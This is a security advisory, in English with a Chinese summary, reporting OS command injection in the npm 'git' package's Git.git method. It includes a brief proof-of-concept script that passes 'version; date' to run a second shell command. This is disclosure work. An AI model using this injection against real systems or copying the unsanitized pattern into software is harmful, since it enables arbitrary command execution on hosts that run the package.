Remote Code Execution (RCE)

All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

N/A

Github Git 操作系统命令注入漏洞

Github Git是一套免费、开源的分布式版本控制系统。 Github Git 存在操作系统命令注入漏洞，该漏洞源于 Git.git 方法中缺少清理功能，允许执行操作系统命令而不仅仅是git命令。该漏洞影响以下产品：Git 所有版本。

N/A

N/A